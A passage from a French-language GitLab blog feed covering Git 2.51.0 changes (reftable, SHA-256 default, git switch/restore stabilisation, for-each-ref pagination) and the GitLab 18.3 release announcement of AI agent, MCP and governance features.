<p>Les opérations qui écrivent plusieurs références à la fois ne sont pas atomiques avec le backend « files ». Par conséquent, <a href="https://about.gitlab.com/fr-fr/blog/what-is-git/" title="Qu'est-ce que Git ?">Git</a> peut voir des états intermédiaires lorsqu'il lit des références pendant qu'une transaction de référence est en cours de validation sur le disque.</p>
</li>
<li>
<p>L'écriture de nombreuses références à la fois est un processus lent avec le backend « files », car chaque référence est créée en tant que fichier séparé. Le backend « reftable » fournit des résultats considérablement meilleurs par rapport au backend « files ».</p>
</li>
<li>
<p>Le backend « reftable » utilise un format binaire avec compression de préfixe pour les noms de références. En conséquence, le format utilise moins d'espace par rapport au fichier « packed-refs ».</p>
</li>
</ul>
<p>Ce projet a été mené par <a href="https://gitlab.com/pks-gitlab">Patrick Steinhardt</a>.</p>
<h3>SHA-256 comme fonction de hachage par défaut</h3>
<p>Le système de <a href="https://about.gitlab.com/fr-fr/topics/version-control/" title="Qu'est-ce que le contrôle de version ?">contrôle de version</a> Git stocke les objets dans un système de fichiers adressable par contenu. Cela signifie qu'il utilise le hachage d'un objet pour adresser le contenu tel que les fichiers, les répertoires et les révisions, contrairement aux systèmes de fichiers traditionnels, qui utilisent des nombres séquentiels. L'utilisation d'une fonction de hachage présente les avantages suivants :</p>
<ul>
<li>
<p>Vérifications faciles de l'intégrité, car un seul bit inversé modifierait complètement le résultat du hachage.</p>
</li>
<li>
<p>Recherche d'objets rapide, car ces derniers peuvent être indexés par leur hachage.</p>
</li>
<li>
<p>Les noms d'objets peuvent être signés, et des tiers peuvent faire confiance au hachage pour adresser l'objet signé et tous les objets qu'il référence.</p>
</li>
<li>
<p>La communication via le protocole Git et les méthodes de communication hors bande disposent d'une chaîne de caractères courte et fiable qui peut être utilisée pour adresser de manière fiable le contenu stocké.</p>
</li>
</ul>
<p>Depuis sa création, Git a utilisé l'algorithme de hachage SHA-1. Cependant, des chercheurs en sécurité ont découvert quelques failles dans cet algorithme, en particulier l'<a href="https://shattered.io">attaque SHAttered</a>, qui montre une collision de hachage SHA-1 réalisable en pratique. Nous sommes passés à l'utilisation d'une implémentation SHA-1 renforcée par défaut depuis Git 2.13.0. Cependant, SHA-1 reste un algorithme de hachage faible, et ce n'est qu'une question de temps avant que des attaques supplémentaires ne diminuent encore davantage sa sécurité.</p>
<p>SHA-256 a été identifié comme le successeur de SHA-1 fin 2018. Git 2.51.0 le marque comme l'algorithme de hachage par défaut à utiliser dans Git 3.0.</p>
<p>Ce projet a été mené par <a href="https://github.com/bk2204">brian m. carlson</a>.</p>
<h3>Suppression de <code>git-whatchanged(1)</code></h3>
<p>La commande <code>git-whatchanged(1)</code> montre les logs avec les différences que chaque commit introduit. Bien que cette commande soit maintenant remplacée par <code>git log --raw</code>, elle a été conservée pour des raisons historiques.</p>
<p>Git 2.51.0 oblige les utilisateurs de la commande à utiliser explicitement le flag <code>--i-still-use-this</code> pour identifier tous les utilisateurs qui utilisent encore cette commande dépréciée, et marque également la commande pour suppression dans Git 3.0.</p>
<p>Ce projet a été mené par <a href="https://simple.wikipedia.org/wiki/Junio_Hamano">Junio C Hamano</a>.</p>
<h2><code>git switch</code> et <code>git restore</code> ne sont plus en phase expérimentale</h2>
<p>La commande <code>git-checkout(1)</code> peut être utilisée dans plusieurs cas d'utilisation différents. Elle peut être utilisée pour changer la référence courante :</p>
<pre><code>$ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean

$ git checkout next
Switched to branch 'next'
Your branch is up to date with 'origin/next'.
</code></pre>
<p>Ou pour restaurer des fichiers :</p>
<pre><code>$ echo &quot;additional line&quot; &gt;&gt; git.c

$ git status
On branch master
Your branch is up to date with 'origin/master'.

Changes not staged for commit:
  (use &quot;git add &lt;file&gt;...&quot; to update what will be committed)
  (use &quot;git restore &lt;file&gt;...&quot; to discard changes in working directory)
    modified:   git.c

no changes added to commit (use &quot;git add&quot; and/or &quot;git commit -a&quot;)

$ git checkout git.c
Updated 1 path from the index

$ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean
</code></pre>
<p>Pour les nouveaux utilisateurs de Git, ces différentes possibilités peuvent être source de confusion. Dans Git 2.33.0, elles ont été divisées en deux nouvelles commandes, <code>git-switch(1)</code> et <code>git-restore(1)</code>.</p>
<p>La commande <code>git-switch(1)</code> permet aux utilisateurs de basculer vers une branche spécifique :</p>
<pre><code>$ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean

$ git switch next
Switched to branch 'next'
Your branch is up to date with 'origin/next'.
</code></pre>
<p>Et la commande <code>git-restore(1)</code> permet aux utilisateurs de restaurer les fichiers de l'arbre de travail :</p>
<pre><code>$ echo &quot;additional line&quot; &gt;&gt; git.c

$ git status
On branch master
Your branch is up to date with 'origin/master'.

Changes not staged for commit:
  (use &quot;git add &lt;file&gt;...&quot; to update what will be committed)
  (use &quot;git restore &lt;file&gt;...&quot; to discard changes in working directory)
    modified:   git.c

no changes added to commit (use &quot;git add&quot; and/or &quot;git commit -a&quot;)

$ git restore git.c

$ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean
</code></pre>
<p>Ces deux commandes existent depuis 2019, mais étaient en phase expérimentale. Ce qui signifie que le projet Git ne garantissait pas la compatibilité avec les versions précédentes pour ces commandes, et le comportement pouvait changer à tout moment. L'objectif était initialement de stabiliser ces commandes après quelques nouvelles versions, mais cela n'a pas été le cas jusqu'à présent.</p>
<p>Cela a entraîné plusieurs discussions sur la liste de diffusion Git, où les utilisateurs se demandaient s'ils pouvaient commencer à utiliser ces nouvelles commandes, ou si celles-ci pourraient éventuellement disparaître à nouveau. Mais étant donné qu'aucun changement significatif n'a été proposé, et que certains utilisateurs utilisent déjà ces commandes, nous avons décidé de les retirer de leur phase expérimentale dans la version Git 2.51.</p>
<p>Ce projet a été mené par <a href="https://gitlab.com/justintobler">Justin Tobler</a>.</p>
<h2>Prise en charge de la pagination pour <code>git for-each-ref(1)</code></h2>
<p>La commande <code>git for-each-ref</code> est utilisée pour indiquer toutes les références présentes dans un dépôt. Comme elle fait partie de la couche de plomberie de Git, cette commande est fréquemment utilisée par les forges logicielles d'hébergement pour lister sur leur interface utilisateur les références qui existent dans le dépôt. Mais à mesure que les dépôts grandissent, il n'est pas réaliste de lister toutes les références à la fois, car les plus grands dépôts peuvent en contenir des millions ! À la place, les forges ont tendance à paginer les références.</p>
<p>Une lacune importante émerge ainsi : <code>git-for-each-ref</code> ne sait pas ignorer les références des pages précédentes qui ont déjà été affichées. Par conséquent, cette commande peut devoir lister un grand nombre de références sans intérêt avant de commencer à indiquer les références requises pour la page actuelle. Ce processus est peu efficace et conduit à une latence plus élevée que nécessaire ou même à des délais d'attente dépassés.</p>
<p>Git 2.51.0 prend en charge une nouvelle option <code>--start-after</code> pour <code>git for-each-ref</code>, qui permet de paginer les données de sortie. Il est aussi possible de la combiner avec l'option <code>--count</code> pour itérer sur un lot de références.</p>
<pre><code>$ git for-each-ref --count=10
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010

$ git for-each-ref --count=10 --start-after=refs/heads/branch-010
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020
</code></pre>
<p>Ce projet a été mené par <a href="https://gitlab.com/knayakgl">Karthik Nayak</a>.</p>
<h2>Perspectives</h2>
<p>Prêt à découvrir ces améliorations ? Mettez à jour votre version Git et commencez à utiliser <code>git switch</code> et <code>git restore</code> dans vos workflows quotidiens.</p>
<p>Pour les utilisateurs de GitLab, ces améliorations de performances enrichiront automatiquement l'expérience de développement une fois la version de Git mise à jour.</p>
<p>Pour en savoir plus, consultez les <a href="https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u">notes de version officielles de Git 2.51.0</a> et explorez notre <a href="https://about.gitlab.com/fr-fr/blog/tags/git/">archive complète de le développement de Git</a>.</p>
]]></content>
        <author>
            <name>Karthik Nayak</name>
            <uri>https://about.gitlab.com/blog/authors/karthik-nayak</uri>
        </author>
        <published>2025-08-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab 18.3 : expansion de l'orchestration IA dans l'ingénierie logicielle]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/"/>
        <updated>2025-08-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab est aujourd'hui une plateforme DevSecOps complète qui unifie chaque étape du cycle de vie logiciel. Nous n'arrêtons pas l'innovation et continuons à œuvrer afin de devenir la première plateforme au monde alimentée par l'IA native pour l'ingénierie logicielle. Chez GitLab, nous croyons que l'avenir de l'ingénierie logicielle repose sur une collaboration intrinsèque entre l'humain et l'IA, c'est pourquoi nous souhaitons proposer les meilleures fonctionnalités d'IA à chaque utilisateur GitLab.</p>
<p>Cette transformation s'opère à trois niveaux distincts qui vont au-delà de ce que proposent les autres outils de développement IA :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755762266/iwuugge3cxweiyvi0yjk.png" alt="Diapositive de transformation d'IA native"></p>
<p><strong>Premièrement, nous sommes un système pour l'enregistrement.</strong> Notre plateforme de données unifiée contient vos actifs numériques les plus précieux, comme votre code source et votre propriété intellectuelle, ainsi qu'une large quantité de données non structurées de vos projets, des backlogs de bugs, des configurations CI/CD, des historiques de déploiement, des rapports de sécurité et des données de conformité. Ces données contextuelles d'une valeur inestimable sont en sécurité dans votre environnement GitLab et ne sont pas accessibles aux agents génériques ni aux grands modèles de langage (LLM).</p>
<p><strong>Deuxièmement, nous agissons comme votre plan de contrôle logiciel.</strong> Nous orchestrons vos processus métier critiques via des dépôts Git, des API REST et des interfaces basées sur des webhooks qui alimentent votre livraison logicielle de bout en bout. Pour nombre de nos clients, il s'agit d'une dépendance de niveau 0 sur laquelle leurs processus métier critiques s'appuient quotidiennement.</p>
<p><strong>Troisièmement, nous offrons une expérience utilisateur puissante.</strong> Nous proposons une interface intégrée qui élimine les changements de contexte coûteux qui ralentissent la plupart des équipes d'ingénierie. Plus de 50 millions d'utilisateurs enregistrés et notre vaste communauté dépendent de GitLab pour accomplir leur travail, et ils profitent d'une visibilité complète du cycle de vie et des outils de collaboration sur une seule plateforme. Forte de cette expertise, GitLab occupe une position de pionnière unique dans la collaboration intuitive humain-IA qui amplifie la productivité des équipes tout en préservant les workflows que nos utilisateurs connaissent et auxquels ils font confiance.</p>
<p><strong>Extension de notre plateforme avec l'IA native intégrée à chaque niveau</strong></p>
<p><a href="https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> intègre et étend ces trois niveaux. Conçue pour l'extensibilité et l'interopérabilité, elle permet aux clients et partenaires de créer des solutions qui génèrent encore plus de valeur. Notre approche de plateforme ouverte met l'accent sur une connectivité transparente avec les outils et systèmes IA externes tout en garantissant une intégration à notre pile existante aux trois niveaux.</p>
<ul>
<li>Tout d'abord, nous étendons notre plateforme de données unifiée avec un <strong>graphique de connaissances</strong> optimisé pour l'accès agentique qui indexe et relie le code avec toutes vos autres données non structurées. L'IA est friande de contexte, et nous sommes persuadés que cette approche accélérera non seulement le raisonnement et l'inférence par les agents, mais fournira également des résultats agentiques plus économiques et de meilleure qualité.</li>
<li>Ensuite, nous ajoutons une <strong>couche d'orchestration</strong> importante en trois parties distinctes à notre plan de contrôle existant : elle permet aux agents et aux flows de s'enregistrer comme abonnés aux événements SDLC GitLab, construit un nouveau moteur d'orchestration pour les flows multi-agents conçus sur mesure et expose les outils, agents et flows GitLab via Model Context Protocol (MCP) et des protocoles standards pour une interopérabilité sans précédent.</li>
<li>Enfin, nous étendons <strong>l'expérience GitLab</strong> pour offrir des agents et des flows d'agents de premier plan à travers tout le cycle de développement logiciel. Vous pourrez assigner des tâches asynchrones aux agents, les mentionner dans les commentaires et créer des agents personnalisés avec un contexte spécifique à vos workflows. Mais plus important encore, GitLab livre des agents natifs pour chaque étape du développement et propose un riche écosystème d'agents tiers. Cette approche crée une véritable collaboration humain-IA où vous pourrez travailler avec les agents IA aussi naturellement qu'avec vos collègues.</li>
</ul>
<p>Découvrez en vidéo les nouveautés de la version 18.3 ou poursuivez votre lecture.</p>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111796316?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab_18.3 Release_081925_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Nouveautés de GitLab 18.3</h2>
<p>La version 18.2 a introduit des <a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=Agents%20that%20work%20out%20of%20the%20box">agents IA spécialisés</a> qui travaillent aux côtés des équipes de développement tout au long du cycle de développement logiciel, ainsi que notre <a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=we%20are%20building%3A-,Software%20Development%20Flow,-(now%20in%20beta">Software Development Flow</a>, une fonctionnalité puissante qui donne aux utilisateurs la capacité d'orchestrer plusieurs agents pour planifier, implémenter et tester des changements de code de bout en bout.</p>
<p>GitLab 18.3 introduit des intégrations et une interopérabilité étendues, davantage de Flows, et une conscience contextuelle améliorée sur tout le cycle de développement logiciel.</p>
<h3>Extension des intégrations et de l'interopérabilité</h3>
<p>Nous offrons une extensibilité IA complète grâce aux agents GitLab de première partie et à un riche écosystème d'agents tiers avec un accès complet au contexte et aux données du projet. Cette approche maintient les workflows natifs et la gouvernance de GitLab et garantit une flexibilité dans le choix de vos outils préférés grâce à une orchestration hautement intégrée entre ces agents et la plateforme centrale de GitLab. Les équipes bénéficient de fonctionnalités IA améliorées, mais conservent leurs avantages clés d'intégration, de supervision et d'expérience utilisateur.</p>
<ul>
<li><strong>Serveur MCP – intégration IA universelle :</strong> le serveur (<a href="https://about.gitlab.com/fr-fr/topics/ai/model-context-protocol/">MCP</a>) de GitLab permet aux systèmes IA de s'intégrer en toute sécurité directement avec vos projets GitLab et vos processus de développement. Cette interface standardisée élimine le besoin d'intégrations personnalisées supplémentaires et permet à vos outils IA, y compris <a href="https://docs.cursor.com/en/tools/mcp">Cursor</a>, de fonctionner intelligemment dans votre environnement GitLab existant. Consultez notre <a href="https://docs.gitlab.com/fr-fr/user/gitlab_duo/model_context_protocol/mcp_server/">documentation</a> pour obtenir une liste complète des outils inclus avec la version 18.3. <strong>Des outils supplémentaires sont prévus pour la version 18.4.</strong></li>
</ul>
<blockquote>
<p><em>« Intégrer les workflow GitLab directement dans Cursor est une étape cruciale afin de réduire les frictions pour les équipes de développement. Si nous réduisons le besoin de changer de contexte, les équipes peuvent vérifier le statut des tickets, examiner les merge requests et surveiller les résultats des pipelines sans jamais quitter leur environnement de développement. Cette intégration est un ajustement naturel pour nos clients partagés, et nous nous réjouissons d'un partenariat à long terme avec GitLab pour continuer à améliorer la productivité de nos équipes. »</em></p>
<p>- <strong>Ricky Doar, VP of Field Engineering chez Cursor</strong></p>
<p><em>« Le serveur MCP et l'assistance des agents de GitLab CLI créent de nouvelles façons puissantes pour Amazon Q de s'intégrer aux workflow de développement. Amazon Q Developer peut maintenant se connecter directement via l'interface MCP distante de GitLab, tandis que les équipes peuvent déléguer des tâches de développement en mentionnant simplement Amazon Q CLI dans les tickets et les merge requests. Les capacités robustes de sécurité et de gouvernance intégrées dans ces intégrations donnent aux entreprises la confiance nécessaire pour tirer parti des outils de codage IA tout en préservant leurs normes de développement. Notre partenariat avec GitLab démontre l'engagement continu d'AWS à étendre notre écosystème IA et à rendre les outils de développement intelligents accessibles partout où les développeurs travaillent. »</em></p>
<p>- <strong>Deepak Singh, Vice President of Developer Agents and Experiences chez AWS</strong></p>
</blockquote>
<ul>
<li>
<p><strong>Assistance des agents de GitLab CLI  pour Claude Code, Codex, Amazon Q, Google Gemini et opencode (Bring Your Own Key) :</strong> la version 18.3 introduit des intégrations qui permettent aux équipes de déléguer des tâches de routine en mentionnant leurs agents directement dans les tickets ou les merge requests. Dès que ces assistants IA sont mentionnés, ils lisent automatiquement le contexte environnant et le code du dépôt, puis répondent au commentaire de l'utilisateur en proposant des changements de code prêts à être examinés ou des commentaires inline. Ces intégrations requièrent l'utilisation de votre propre clé API pour les fournisseurs IA respectifs, conservent toutes les interactions en mode natif dans l'interface de GitLab et maintiennent les permissions appropriées et les pistes d'audit.</p>
<p><strong>Remarque :</strong> les agents tiers font partie de la version bêta GitLab Premium et ne sont disponibles que pour les clients GitLab Duo Enterprise à des fins d'évaluation.</p>
</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111784124?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Third Party Agents Flows Claude Code&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<blockquote>
<p><em>« L'intégration de Claude Code directement dans GitLab est une assistance IA disponible là où des millions de développeurs collaborent déjà et livrent du code au quotidien. En mentionnant Claude directement dans les tickets et les merge requests, il est possible d'éliminer les obstacles et de maintenir  la qualité avec une supervision humaine et des processus de révision. Cette mise à jour permet de tirer profit des capacités de Claude Code dans davantage de contextes où les équipes travaillent et transforme l'IA en un composant naturel de leur workflow de développement. »</em></p>
<p><strong>- Cat Wu, Claude Code Product Lead, Anthropic</strong></p>
<p><em>« Avec la nouvelle intégration d'agents de GitLab dans la version 18.3, vous pouvez utiliser opencode dans vos workflow existants. Il vous suffit de mentionner opencode dans un ticket ou une merge request, et il exécutera votre agent directement dans votre pipeline CI. Cette liberté dans la configuration et l'exécution d'opencode est le type d'intégration que la communauté open source apprécie vraiment. »</em></p>
<p><strong>- Jay V., CEO, opencode</strong></p>
</blockquote>
<ul>
<li><strong>Assistance Agentic Chat pour l'IDE de Visual Studio et l'interface utilisateur GitLab disponible pour tous les clients GitLab Premium et Ultimate :</strong> avec la version 18.3, vous n'avez plus besoin de changer de contexte entre les outils pour accéder aux données complètes du cycle de vie de développement de GitLab. Nos intégrations améliorées injectent toute la puissance de GitLab Duo dans l'interface utilisateur GitLab ainsi que dans les IDE, et l'assistance inclut désormais Visual Studio en plus de JetBrains et VS Code. Cette nouveauté aide les développeurs à rester concentrés et à accéder au contexte détaillé du projet, à l'historique de déploiement et aux données de collaboration d'équipe directement dans leur environnement préféré.</li>
<li><strong>Assistance étendue des modèles IA :</strong> GitLab Duo Self-Hosted prend maintenant en charge des modèles IA supplémentaires afin d'offrir aux équipes plus de flexibilité dans leurs workflows de développement assistés par l'IA. Vous pouvez maintenant déployer des modèles OpenAI GPT open source (20B et 120B de paramètres) via vLLM sur votre matériel de centre de données ou via des services cloud comme Azure OpenAI et AWS Bedrock dans votre cloud privé. De plus, Claude 4 d'Anthropic est disponible sur AWS Bedrock.</li>
</ul>
<h3>Nouveaux Flows de développement automatisés</h3>
<p>GitLab Flows coordonne plusieurs agents IA avec des instructions prédéfinies pour gérer de manière autonome ces tâches chronophages et routinières afin que les équipes de développement puissent se concentrer sur le cœur de leur travail.</p>
<p>GitLab 18.3 possède deux nouveaux Flows :</p>
<ul>
<li><strong>Flow Issue-to-MR (génération de code automatisée du concept à la complétion en quelques minutes) :</strong> ce Flow convertit automatiquement les tickets en merge requests (MR) exploitables en coordonnant des agents pour analyser les exigences, préparer des plans de mise en œuvre complets et générer du code de qualité prêt pour une revue. Vous pouvez ainsi mettre en œuvre des idées en quelques minutes au lieu de plusieurs heures.</li>
</ul>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111782058?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Issue to MR&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Flow de conversion de fichier CI (intelligence de migration transparente) :</strong> notre Flow de conversion de fichier CI rationalise les workflow de migration en demandant aux agents d'analyser les configurations CI/CD existantes et de les convertir intelligemment au format GitLab CI avec une compatibilité complète au pipeline. Ce Flow élimine les efforts manuels et les erreurs potentielles de réécriture des configurations CI, et il aide les équipes à migrer des pipelines de déploiement entiers en toute confiance. La version 18.3 inclut une assistance pour les migrations Jenkins. Une assistance supplémentaire est prévue dans les futures versions.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783724?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Convert to CI Flow&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h3>Code et recherche intelligents</h3>
<p>Les solutions ponctuelles d'IA fonctionnent généralement avec une visibilité limitée sur des extraits de code isolés, mais le graphique de connaissances de GitLab fournit aux agents un contexte d'environnement pour garantir des réponses plus rapides et plus intelligentes.</p>
<ul>
<li><strong>Graphique de connaissances (intelligence de code en temps réel) :</strong> dans la version 18.3, le graphique de connaissances de GitLab offre désormais une indexation de code en temps réel pour des recherches de code plus rapides ainsi que des résultats plus précis en contexte. Nos agents comprennent les relations entre les fichiers, les dépendances et les modèles de développement de l'ensemble de votre code source et sont conçus pour fournir des informations que les développeurs humains mettraient des heures à trouver. <strong>Et ce n'est que la première étape, nous prévoyons de continuer à étendre les puissantes fonctionnalités du graphique de connaissances.</strong></li>
</ul>
<h3>Gouvernance d'entreprise</h3>
<p>La transparence de l'IA et le contrôle applicable à l'entreprise sont des défis majeurs qui freinent l'adoption des outils de développement alimentés par l'IA : <a href="https://about.gitlab.com/fr-fr/software-innovation-report/">85 % des dirigeants s'accordent à dire que l'IA agentique créera des défis de sécurité sans précédent</a>.</p>
<p>Les nouvelles fonctionnalités de la version 18.3 visent à répondre aux préoccupations concernant la gouvernance des données, les exigences en matière de conformité et le besoin de visibilité dans les processus de prise de décision de l'IA afin que les entreprises puissent intégrer l'IA dans leurs frameworks de sécurité et de stratégies existants.</p>
<ul>
<li><strong>Agent Insights (transparence par l'intelligence) :</strong> notre suivi d'agents intégré offre une visibilité sur les processus de prise de décision des agents. Les utilisateurs peuvent optimiser les workflow et suivre les meilleures pratiques grâce à un suivi transparent.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783244?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Agent Insights&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>GitLab Duo Code Review pour GitLab Self-Hosted :</strong> dédiée aux  organisations avec des exigences strictes de gouvernance des données, cette fonctionnalité permet aux équipes d'utiliser l'intelligence de GitLab Duo tout en gardant le code sensible dans des environnements contrôlés.</li>
<li><strong>Configurations de modèles hybrides pour un déploiement IA flexible :</strong> les clients GitLab Duo Self-Hosted peuvent maintenant utiliser des configurations de modèles hybrides et combiner des modèles IA auto-hébergés via leur passerelle IA locale avec les modèles cloud de GitLab via la passerelle IA de GitLab afin d'accéder à diverses fonctionnalités.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783569?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Self Hosted Models Code Review&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Sécurité renforcée avec assistance OAuth :</strong> notre serveur MCP inclut maintenant une assistance complète pour l'authentification OAuth 2.0, qui garantit des connexions sécurisées aux ressources protégées et aux environnements de développement sensibles. Cette nouvelle fonctionnalité suit le projet de spécification OAuth pour MCP, qui gère les flux d'autorisation, la gestion des tokens et l'enregistrement dynamique des clients.</li>
</ul>
<h3>Plateforme Secure by Design : une gouvernance évolutive</h3>
<p>Pour être véritablement sécurisée, une plateforme nécessite l'application cohérente de principes de gouvernance sur l'ensemble du cycle de développement. Les mêmes principes fondamentaux de sécurité qui garantissent l'adoption sécurisée de l'IA (principe de moindre privilège, gestion centralisée des stratégies, surveillance proactive et autorisations granulaires) doivent être intégrés dans tout le SDLC pour créer une approche cohésive de défense en profondeur.</p>
<p>GitLab 18.3 renforce les contrôles fondamentaux qui aident à protéger toute votre chaîne d'approvisionnement logicielle avec ces nouvelles mises à jour :</p>
<ul>
<li><strong>Rôle d'administrateur personnalisé :</strong> fournit des autorisations administratives granulaires conçues sur mesure qui remplacent l'accès administrateur général par des contrôles précis selon le principe de moindre privilège. Au lieu d'accorder des privilèges administratifs généraux qui créent des risques de sécurité, les organisations peuvent maintenant créer des rôles spécialisés adaptés à des fonctions spécifiques comme les équipes de plateforme qui gèrent les runners et la surveillance, les équipes d'assistance dédiées à la gestion des utilisateurs et les cadres dirigeants qui accèdent aux tableaux de bord et aux statistiques d'utilisation. Forte d'une gestion complète du cycle de vie des rôles via l'interface utilisateur et l'API, d'une journalisation d'audits et de documentation générée automatiquement, cette fonctionnalité offre une véritable gestion selon le principe de moindre privilège qui aide à maintenir l'efficacité opérationnelle et à améliorer la sécurité globale de l'instance.</li>
<li><strong>Framework de conformité au niveau de l'instance et gestion des stratégies de sécurité :</strong> les organisations peuvent maintenant désigner un groupe de conformité dédié responsable d'appliquer des frameworks standardisés et des stratégies de sécurité directement aux groupes principaux, lesquels seront automatiquement mis en œuvre dans tous leurs sous-groupes et projets. Cette approche centralisée élimine la gestion fragmentée des stratégies, un obstacle à la conformité, et maintient l'autonomie du groupe en matière d'adoption de stratégies locales supplémentaires.</li>
<li><strong>Rapports de violations améliorés :</strong> les équipes reçoivent désormais des notifications immédiates lorsque des changements non autorisés sont apportés aux règles d'approbation des MR, que des stratégies de framework ne possèdent pas les approbations appropriées ou que les contrôles de conformité temporels ne sont pas respectés. Les équipes peuvent associer directement les violations aux contrôles spécifiques du framework de conformité afin d'obtenir des informations exploitables qui leur indiquent exactement quelle exigence a été violée. Cette fonctionnalité transforme la conformité d'une simple tâche à exécuter en un élément proactif et intégré du workflow de développement et de sécurité.</li>
